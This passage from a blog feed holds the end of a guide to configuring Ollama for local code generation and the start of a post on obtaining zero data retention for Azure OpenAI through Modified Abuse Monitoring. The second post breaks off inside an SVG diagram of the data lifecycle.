style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etest_divide_float_result\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eassert\u003c/span\u003e divide(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e pytest\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eapprox(\u003cspan style=\"color:#ae81ff\"\u003e0.333\u003c/span\u003e, rel\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1e-3\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 3: Wire it to OpenCode\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eAdd \u003ccode\u003epytest-coder\u003c/code\u003e to your \u003ccode\u003eopencode.json\u003c/code\u003e models list. In OpenCode, use \u003ccode\u003e/model pytest-coder\u003c/code\u003e when working on test files, and switch back to your general coding model for implementation files.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePin \u003ccode\u003etemperature\u003c/code\u003e to 0.1–0.2.\u003c/strong\u003e Higher values make the model more variable, which for code means inconsistent function signatures and variable names. Code generation benefits from determinism.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePre-load models before long sessions.\u003c/strong\u003e Run \u003ccode\u003eollama run my-coder\u003c/code\u003e in a background terminal and send a throwaway prompt to trigger the cold-start load. Your TUI connects to an already-warm model and responds immediately.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAvoid \u003ccode\u003eOLLAMA_HOST=0.0.0.0\u003c/code\u003e on untrusted networks.\u003c/strong\u003e Coffee shop Wi-Fi, conference networks, and shared corporate Wi-Fi all qualify as untrusted. The Ollama API has no authentication — binding to \u003ccode\u003e0.0.0.0\u003c/code\u003e on a public network exposes it to other machines on the subnet.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u003ccode\u003eConnection refused\u003c/code\u003e when your TUI tries to reach Ollama.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Ollama isn\u0026rsquo;t running, or it\u0026rsquo;s bound to the wrong address. Common in WSL2 setups where you need to access Windows from WSL2.\u003c/p\u003e\n\u003cp\u003eFix: Run \u003ccode\u003eollama serve\u003c/code\u003e manually in a terminal. Confirm it shows \u003ccode\u003eListening on 127.0.0.1:11434\u003c/code\u003e. For accessing Windows from WSL2, set \u003ccode\u003eOLLAMA_HOST=0.0.0.0:11434\u003c/code\u003e on Windows and connect from WSL2 using the Windows host IP.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: The model ignores your system prompt and keeps generating prose.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Some base models have chat templates that override system prompt placement for specific model families.\u003c/p\u003e\n\u003cp\u003eFix: Add the \u003ccode\u003eTEMPLATE\u003c/code\u003e parameter to your Modelfile with the exact prompt format the model expects. Qwen models use a \u003ccode\u003e\u0026lt;|im_start|\u0026gt;system\u003c/code\u003e format that must be declared correctly — see the model\u0026rsquo;s Hugging Face page for the canonical chat template.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u003ccode\u003eError: model requires more system memory (X MiB) than is available\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Your \u003ccode\u003enum_ctx\u003c/code\u003e exceeds what your VRAM plus system memory can support for this model size.\u003c/p\u003e\n\u003cp\u003eFix: Lower \u003ccode\u003enum_ctx\u003c/code\u003e to 4096, rebuild with \u003ccode\u003eollama create\u003c/code\u003e, and retry. Set \u003ccode\u003eOLLAMA_KV_CACHE_TYPE=q4_0\u003c/code\u003e (requires Ollama 0.1.40+) to reclaim additional headroom for the context window.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003eOllama\u0026rsquo;s defaults are designed for getting started, not for production coding workflows. Three changes make it production-ready: set \u003ccode\u003enum_ctx\u003c/code\u003e in a Modelfile to match your VRAM budget, set \u003ccode\u003eOLLAMA_KEEP_ALIVE=-1\u003c/code\u003e to eliminate cold-start delays, and pin \u003ccode\u003etemperature\u003c/code\u003e to 0.2 with a strict coding system prompt. With those in place, your local model is consistent, fast, and ready for integration with a terminal coding agent.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/modelfile.md\"\u003eOllama Modelfile Reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/api.md\"\u003eOllama API Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/faq.md\"\u003eOllama FAQ — Network and Keep-Alive Settings\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/Qwen/Qwen2.5-Coder-7B-Instruct\"\u003eQwen2.5-Coder Model Card on Hugging Face\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 (3D Abstract / Isometric):**\nClean 3D isometric abstract environment representing a local AI coding environment. A glowing central cube of light connected to smaller geometric nodes by glowing pipelines, symbolizing a local LLM serving code completions. The background is a sleek, dark modern workspace with subtle ambient lighting. No text, no words, no letters, no labels, no UI elements. Wide landscape format, 16:9 aspect ratio, high quality, professional tech vibe.\n\n**Prompt 2 (Cyber-Industrial / Data Flow):**\nHigh-contrast, dark aesthetic cyber-industrial scene representing code generation. Glowing streams of cyan and purple data flowing through organized server racks or metallic conduits. Abstract representation of artificial intelligence processing. No text, no words, no letters, no labels, no UI elements. Wide landscape format, 16:9 aspect ratio, futuristic, professional tech vibe.\n\n**Prompt 3 (Macro Tech Detail):**\nExtreme close-up of a modern circuit board or PCB traces glowing with warm orange and cool blue light, representing local compute power and AI model loading. Clean, sharp focus on the glowing traces fading into a dark, cinematic bokeh background. No text, no words, no letters, no labels, no UI elements. Wide landscape format, 16:9 aspect ratio.\n\n**Prompt 4 (Minimalist Vector / Flat):**\nClean, minimalist vector art representing an optimized AI configuration. A stylized, flat representation of a glowing terminal or server icon emitting organized, structured waves of data. Dark mode color palette with vibrant neon accents. No text, no words, no letters, no labels, no UI elements. Wide landscape format, 16:9 aspect ratio, professional DevOps vibe.\n--\u003e\n","description":"A focused guide on setting up Ollama, pulling the best models for coding, and optimizing the Modelfile for context window management.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/installing-configuring-ollama-code-generation/","title":"Installing and Configuring Ollama for Code Generation"},{"content":"\u003cp\u003eYour GDPR review is two weeks out. Someone asks whether Azure OpenAI retains prompts. You check the docs. There it is, in plain language: prompts and completions are stored for up to 30 days in Microsoft-operated infrastructure — outside your Azure tenant, not queryable, not deletable. Every internal service name, architecture decision, and business context your team fed into the model has been sitting there since day one.\u003c/p\u003e\n\u003cp\u003eThis is not a privacy policy ambiguity. It is a documented default, and it exists because Microsoft runs abuse monitoring on that data. The feature that removes it is called Modified Abuse Monitoring, and it reduces retention to zero. It is not a toggle in the portal — it is a gated program that requires a formal application, a documented business justification, and Microsoft approval. The approval process alone runs 5–10 business days. If your security review is already scheduled, you are already behind.\u003c/p\u003e\n\u003cp\u003eHere is how to apply, what to verify when you get approved, and what breaks if you move subscriptions.\u003c/p\u003e\n\u003ch2 id=\"1-understanding-the-default-abuse-monitoring-model\"\u003e1. Understanding the Default Abuse Monitoring Model\u003c/h2\u003e\n\u003cp\u003eBy default, Azure OpenAI retains data for the purpose of detecting policy violations and abuse. These logs are stored in Microsoft-operated infrastructure, entirely outside your Azure tenant. You cannot query, export, or delete these logs independently.\u003c/p\u003e\n\u003cp\u003eThis is not a flaw — it is a default designed for onboarding, not production. For many regulated industries, it creates a hard compliance problem. GDPR Article 28 requires that data processors not retain personal data beyond the stated purpose. SOC 2 Type II auditors routinely ask about data transmission to third-party systems and the associated retention policies. Default abuse monitoring is that third-party retention obligation, and it requires explicit controls.\u003c/p\u003e\n\u003ch2 id=\"2-modified-abuse-monitoring--the-technical-effect\"\u003e2. Modified Abuse Monitoring — The Technical Effect\u003c/h2\u003e\n\u003cp\u003eZero Data Retention (ZDR) is technically implemented by opting out of the standard abuse monitoring logs.\u003c/p\u003e\n\u003ch3 id=\"what-zdr-eliminates-vs-what-functions\"\u003eWhat ZDR Eliminates vs. What Functions\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eFeature\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eStandard Mode\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003e\u003cstrong\u003eZero Data Retention (ZDR)\u003c/strong\u003e\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eLog Storage\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e30 Days (Microsoft Side)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eNone\u003c/strong\u003e (Discarded after inference)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eContent Filtering\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eActive\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eActive\u003c/strong\u003e (Real-time only)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eUsage Metrics\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eToken counts logged\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eToken counts logged\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eCustomer Logs\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDiagnostic Settings (Optional)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eDiagnostic Settings\u003c/strong\u003e (Optional)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eWith ZDR active, data is processed in memory for the inference request and then immediately discarded. Real-time content filtering (Azure AI Content Safety) still runs to prevent jailbreaking or toxicity, but the \u003cem\u003econtent\u003c/em\u003e of those prompts is never written to a persistent store.\u003c/p\u003e\n\u003ch3 id=\"zdr-data-lifecycle-in-memory-processing\"\u003eZDR Data Lifecycle (In-Memory Processing)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 712 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 64,48 L 336,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,144 L 336,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,224 L 488,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,8 L 56,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,144 L 56,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,16 L 344,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 344,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,208 L 344,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,16 L 608,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='72.000000,144.000000 60.000000,138.399994 60.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 64.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,48.000000 332.000000,42.400002 332.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 336.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='212' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='212' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='212' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='212' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='212' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='228' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='212' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='228' fill='currentColor' 